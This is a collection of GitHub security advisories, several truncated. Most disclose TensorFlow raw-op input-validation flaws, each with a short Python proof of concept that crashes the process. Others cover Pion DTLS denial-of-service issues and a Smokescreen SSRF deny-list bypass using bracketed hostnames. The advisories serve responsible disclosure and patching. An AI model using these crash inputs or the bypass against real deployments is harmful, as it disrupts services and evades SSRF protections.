ghsa

### Impact The implementation of [`tf.raw_ops.SparseTensorToCSRSparseMatrix`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse/sparse_tensor_to_csr_sparse_matrix_op.cc#L65-L119) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf indices = tf.constant(53, shape=[3], dtype=tf.int64) values = tf.constant(0.554979503, shape=[218650], dtype=tf.float32) dense_shape = tf.constant(53, shape=[3], dtype=tf.int64) tf.raw_ops.SparseTensorToCSRSparseMatrix( indices=indices, values=values, dense_shape=dense_shape) ``` The code assumes `dense_shape` is a vector and `indices` is a matrix (as part of requirements for sparse tensors) but there is no validation for this: ```cc const Tensor& indices = ctx->input(0); const Tensor& values = ctx->input(1); const Tensor& dense_shape = ctx->input(...

### Impact The implementation of [`tf.raw_ops.UnsortedSegmentJoin`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L95) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.UnsortedSegmentJoin( inputs=tf.constant("this", shape=[12], dtype=tf.string), segment_ids=tf.constant(0, shape=[12], dtype=tf.int64), num_segments=tf.constant(0, shape=[12], dtype=tf.int64)) ``` The code assumes `num_segments` is a scalar but there is no validation for this before accessing its value: ```cc const Tensor& num_segments_tensor = context->input(2); OP_REQUIRES(context, num_segments_tensor.NumElements() != 0, errors::InvalidArgument("Number of segments cannot be empty.")); auto num_segments = num_segments_tensor.scalar<NUM_SEGMENTS_TYPE>()(); ``` ### Patches...

### Impact The implementation of [`tf.raw_ops.Conv3DBackpropFilterV2`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv_grad_ops_3d.cc) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.Conv3DBackpropFilterV2( input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), filter_sizes=tf.constant(0, shape=[], dtype=tf.int32), out_backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16), strides=[1, 1, 1, 1, 1], padding="VALID", data_format="NDHWC", dilations=[1, 1, 1, 1, 1]) ``` The code does not validate that the `filter_sizes` argument is a vector. ### Patches We have patched the issue in GitHub commit [174c5096f303d5be7ed2ca2662b08371bff4ab88](https://github.com/tensorflow/tensorflow/commit/174c5096f303d5be7ed2ca2662b08371bff4ab88). The fix will ...

### Impact The implementation of [`tf.raw_ops.StagePeek`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/stage_op.cc#L261) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf index = tf.constant([], shape=[0], dtype=tf.int32) tf.raw_ops.StagePeek(index=index, dtypes=[tf.int32]) ``` The code assumes `index` is a scalar but there is no validation for this before accessing its value: ```cc std::size_t index = ctx->input(0).scalar<int>()(); ``` ### Patches We have patched the issue in GitHub commit [cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb](https://github.com/tensorflow/tensorflow/commit/cebe3c45d76357d201c65bdbbf0dbe6e8a63bbdb). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and...

### Impact The implementation of [`tf.raw_ops.DeleteSessionTensor`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L128-L144) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf handle = tf.constant("[]", shape=[0], dtype=tf.string) tf.raw_ops.DeleteSessionTensor(handle=handle) ``` The code assumes `handle` is a scalar but there is no validation for this: ```cc const Tensor& handle = ctx->input(0); const string& name = handle.scalar<tstring>()(); ``` ### Patches We have patched the issue in GitHub commit [cff267650c6a1b266e4b4500f69fbc49cdd773c5](https://github.com/tensorflow/tensorflow/commit/cff267650c6a1b266e4b4500f69fbc49cdd773c5). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4...

### Impact The implementation of [`tf.raw_ops.QuantizeAndDequantizeV4Grad`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L148-L226) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=tf.constant(1, shape=[2,2], dtype=tf.float64), input=tf.constant(1, shape=[2,2], dtype=tf.float64), input_min=tf.constant([], shape=[0], dtype=tf.float64), input_max=tf.constant(-10, shape=[], dtype=tf.float64), axis=-1) ``` The code assumes `input_min` and `input_max` are scalars but there is no validation for this. ### Patches We have patched the issue in GitHub commit [098e7762d909bac47ce1dbabe6dfd06294cb9d58](https://github.com/tensorflow/tensorflow/commit/098e7762d909bac47ce1dbabe6dfd06294cb9d58). The fix will be included ...

### Impact The implementation of [`tf.raw_ops.GetSessionTensor`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/session_ops.cc#L94-L112) does not fully validate the input arguments. This results in a `CHECK`-failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf handle = tf.constant("[]", shape=[0], dtype=tf.string) tf.raw_ops.GetSessionTensor(handle=handle) ``` The code assumes `handle` is a scalar but there is no validation for this: ```cc const Tensor& handle = ctx->input(0); const string& name = handle.scalar<tstring>()(); ``` ### Patches We have patched the issue in GitHub commit [48305e8ffe5246d67570b64096a96f8e315a7281](https://github.com/tensorflow/tensorflow/commit/48305e8ffe5246d67570b64096a96f8e315a7281). The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as th...

### Impact An attacker can send packets that will send Pion DTLS into an infinite loop when processing. ### Patches Upgrade to Pion DTLS v2.1.4 ### Workarounds No workarounds available, upgrade to Pion DTLS v2.1.4 ### References Thank you to [Juho Nurminen](https://github.com/jupenur) and the Mattermost team for discovering and reporting this. ### For more information If you have any questions or comments about this advisory: * Open an issue in [Pion DTLS](http://github.com/pion/dtls) * Email us at [team@pion.ly](mailto:team@pion.ly)

### Impact A buffer that was used for inbound network traffic had no upper limit. Pion DTLS would buffer all network traffic from the remote user until the handshake completes or times out. An attacker could exploit this to cause excessive memory usage. ### Patches Upgrade to Pion DTLS v2.1.4 ### Workarounds No workarounds available, upgrade to Pion DTLS v2.1.4 ### References Thank you to [Juho Nurminen](https://github.com/jupenur) and the Mattermost team for discovering and reporting this. ### For more information If you have any questions or comments about this advisory: * Open an issue in [Pion DTLS](http://github.com/pion/dtls) * Email us at [team@pion.ly](mailto:team@pion.ly)

### Impact The primary use case for Smokescreen is to prevent server-side request forgery (SSRF) attacks in which external attackers leverage the behavior of applications to connect to or scan internal infrastructure. Smokescreen also offers an option to deny access to additional (e.g., external) URLs by way of a deny list. There was an issue in Smokescreen that made it possible to bypass the deny list feature by surrounding the hostname with square brackets (e.g. `[example.com]`). ### Recommendation Upgrade Smokescreen to version 0.0.4 or later. ### Acknowledgements Thanks to [Axel Chong](https://github.com/haxatron) for reporting the issue. ### For more information Email us at security@stripe.com